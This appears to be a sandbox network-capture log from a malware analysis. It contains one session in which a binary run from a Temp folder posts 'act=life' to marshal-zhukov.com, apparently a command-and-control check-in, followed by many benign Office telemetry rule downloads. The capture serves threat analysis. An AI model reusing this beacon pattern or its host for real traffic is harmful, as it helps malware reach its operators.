Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49778	188.114.97.3	443	7968	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: marshal-zhukov.com
2024-11-12 01:14:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-12 01:14:13 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d2fe17c6su72d6cv5g382umpd7; expires=Fri, 07-Mar-2025 19:00:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G4rdYUmt1e933C0gZXfdFq8YPAkNERpQcr2UaCMsebGTcGWAH9C4kC%2BpnqptCrgk52L5tTXt3iI7SzX4Csmx%2FdpBPFsCmUfZM4SeTYlyJXlqU02JUcnNAc3F3u1JLOkYSRJfO4Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e12a9b0baa32e69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=909&delivery_rate=2574222&cwnd=251&unsent_bytes=0&cid=fe125b0f55ab519f&ts=11803&x=0"
2024-11-12 01:14:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-12 01:14:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:02 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 41fe7c09-d01e-0028-68a0-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011402Z-15869dbbcc6xpvqthC1DFWq7d800000008dg00000000am52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:02 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 84a9668d-801e-0078-5fa0-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011402Z-15869dbbcc6hgzkhhC1DFWgtqs000000068g00000000g6vw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011402Z-16547b76f7fmbrhqhC1DFWkds80000000ewg00000000pufe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011402Z-16547b76f7f9rdn9hC1DFWfk7s0000000ewg00000000dqfk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:02 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:03 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:02 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a35867fd-a01e-000d-5aa0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011402Z-17df447cdb528ltlhC1DFWnt1c0000000b500000000039as x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:03 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:03 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bf72ccbe-301e-001f-25a0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011403Z-17df447cdb5lrwcchC1DFWphes0000000b8g00000000e85a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:03 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 933b6e18-c01e-0079-6ca0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011403Z-15869dbbcc6sg5zbhC1DFWy5u800000006u000000000mzv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:03 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011403Z-16547b76f7fp46ndhC1DFW66zg0000000f2g000000000ug5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:03 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011403Z-16547b76f7fdtmzhhC1DFW6zhc00000003q000000000r5sa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:03 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:04 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 2d6c1d79-401e-0067-58a0-3409c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011403Z-15869dbbcc662ldwhC1DFWh4e000000005b000000000dzq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:04 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 183719b9-d01e-00a1-43c3-2c35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011404Z-16547b76f7fknvdnhC1DFWxnys0000000f2000000000251b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" 